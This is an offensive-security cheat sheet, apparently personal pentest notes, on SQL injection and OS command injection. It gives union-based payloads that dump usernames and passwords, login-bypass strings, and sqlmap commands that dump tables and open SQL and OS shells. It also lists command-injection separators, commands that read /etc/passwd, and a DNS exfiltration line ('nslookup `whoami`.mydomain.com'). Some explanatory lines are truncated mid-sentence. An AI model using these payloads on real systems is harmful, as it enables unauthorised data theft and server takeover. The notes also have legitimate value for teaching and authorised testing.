# SQLInjection

```
[+] Union Based SQL Injection

' or 1=1#

1' ORDER BY 10#

1' UNION SELECT version(),2#

1' UNION SELECT version(),database()#

1' UNION SELECT version(),user()#

1' UNION ALL SELECT table_name,2 from information_schema.tables#

1' UNION ALL SELECT column_name,2 from information_schema.columns where table_name = "users"#

1' UNION ALL SELECT concat(user,char(58),password),2 from users#


sqlmap --url="<url>" -p username --user-agent=SQLMAP --threads=10 --eta --dbms=MySQL --os=Linux --banner --is-dba --use


==============SQL injection:
Resources:    https://portswigger.net/web-security/sql-injection
              Web application hackers handbook by Pinto and Stuttard

SQL injection Cheat Sheets:   https://portswigger.net/web-security/sql-injection/cheat-sheet
                              http://pentestmonkey.net/cheat-sheet/sql-injection/mysql-sql-injection-cheat-sheet


General:
use single quotation mark ' to test for sql vulnerabiltiy
use double dash to terminate the query --
      On MySQL the -- sequence must be followed by a space. Alternatively, # can be used

          Submitting the single quote character ' and looking for errors or other anomalies.
          Submitting some SQL-specific syntax that evaluates to the base (original) value of the entry point, and to a
          Submitting Boolean conditions such as OR 1=1 and OR 1=2, and looking for differences in the application's res
          Submitting payloads designed to trigger time delays when executed within an SQL query, and looking for differ
          Submitting OAST payloads designed to trigger an out-of-band network interaction when executed within an SQL q


=== Basic SQL injection:
e.g. Login Form:  username=administrator'-- and arbitrary password
                  username=administrator'-- -
                  password=pw' OR 1=1 --
                  password=pw' OR 1=1 -- -
                  password=pw' OR 'b'='b
    Try to register a user like username=administrator' OR 1=1 --
    Or                          username=administrator' OR 1=1 -- -
    in this case check for second-order sql injections

=== UNION SQL injection:
The union keyword lets you execute additional select statements:
--> Conditions:
    You must return the same number of columns as the original query
    The results of the injected query must match the data type of the original query.
  1. --> Determine the number of columns:
      1.1. Method:
          Inject an ORDER BY n-- clause until an error occurs
            --> ' ORDER BY 1--   --> NO ERROR
            --> ' ORDER BY 2--   --> NO ERRROR
            --> ' ORDER BY 3--   --> ERROR --> 2 columns (Error may be an SQL error, generic message or an empty result
      1.2. Method:
          Querying different numbers of NULL values
            --> UNION SELECT NULL--                    --> ERROR   --> more than 1 column
            --> UNION SELECT NULL, NULL--              --> NO ERROR  (maybe an additonal row of NULL values is being r
                                                       --> DIFFERENT ERROR (may return a distinct error message)
                                                           However, the same error message as in the 1st & 3rd test co
```

```
            --> UNION SELECT NULL, NULL, NULL--         --> ERROR   --> less than 3 columns -> 2 columns
      NOTES: In Oracle databases a SELECT statement needs to have a FROM clause
                  --> using the built in DUAL table -->     ' UNION SELECT NULL FROM DUAL--.

  2. --> Determine the data type of a column:
      2.1. Assuming we want to return a String -> Determine which column can represents string value
           Assuming that we determined that the query returns 2 coulums
           --> ' UNION SELECT 'a',NULL--
           --> ' UNION SELECT NULL,'a'--
              --> If an error occurs the datatype is not compatible with the coulumn

  3. --> Retrieving data (adhere to number of columns and data type):
      3.1. ' UNION SELECT <columname>, <columnname> FROM <table>--
             ' UNION SELECT username, password FROM usertable--

      3.2. Retrieving database information (adhere to number of columns and data type):
                  -Microsoft, MySQL: ■  SELECT @@version
                  -Oracle: ■            SELECT * FROM v$version
                  -PostgreSQL: ■        SELECT version()

      3.3. Retrieving content information from NON-Oracle databases (adhere to the number of columns and data type):
                  SELECT TABLE_NAME FROM information_schema.tables
                  -->     Columns to select:  TABLE_CATALOG  TABLE_SCHEMA  TABLE_NAME  TABLE_TYPE

                  SELECT COLUMN_NAME FROM information_schema.columns WHRER TABLE_NAME = '<table_name>'
                  -->     Columns to select:  TABLE_CATALOG  TABLE_SCHEMA  TABLE_NAME  COLUMN_NAME  DATA_TYPE

          Retrieving content information from Oracle databases (adhere to the number of columns and data type):
                  SELECT table_name FROM all_tables

                  SELECT * FROM all_tab_columns WHERE table_name = 'USERS'

                  SELECT column_name, table_name FROM cols

      3.4. Concatenate values in a single column
            ' UNION SELECT username || '~' || password FROM users--


=== Blind SQL injection:
The application contains SQL injection vulnerabilities but does not return any results of the query or error messages


=== Using SQLMAP:

1. Store the request to a file using Burp (e.g. file called login.req)
2. Test for vulnerable parameters in request
sqlmap -r login.req --level=5 --risk=3 --threads=10

3. If vulnerable parameter is found:
  3.1 Enumerate database tables:
        sqlmap -r login.req --level=5 --risk=3 --threads=10 --tables
  3.2 Retrieve Tables:
        sqlmap -r login.req --level=5 --risk=3 -T <found_table_name> --dump
  3.3 Get Shells:
      3.3.1 SQL shell
          sqlmap -r login.req --level=5 --risk=3 --sql-shell
      3.3.2 System shell
          sqlmap -r login.req --level=5 --risk=3 --os-shell
      3.3.3 Other shell parameters
          sqlmap -help|grep shell


==============Command injection:
Resources:  https://portswigger.net/web-security/os-command-injection
            https://www.owasp.org/index.php/Command_Injection
            https://www.owasp.org/index.php/Testing_for_Command_Injection_(OTG-INPVAL-013)


characters for command separation:
    &
    &&
    |
    ||
```

only on Unix-based systems:

    ;
    Newline (0x0a or \n)

On Unix-based systems, also use the following to perform inline execution of an injected command within the original co

    ` injected command `
    $( injected command )

--> Useful Commands (not blind OR using > to output in a readable file):

Win & unix:   whoami
Lin           cat /etc/passwd
Win           type C:\boot.ini
Lin           ifconfig
Win           ipconfig
Lin           uname -a
Win           ver

--> Useful commands when blind:
ping -c 10 myip   and monitor interface
ping -c 10 127.0.0.1    and wait for delay
nslookup mydomain.com      and monitor the request (may use a subdomain to differentiate between requests)
nslookup `whoami`.mydomain.com      to exfiltrate command output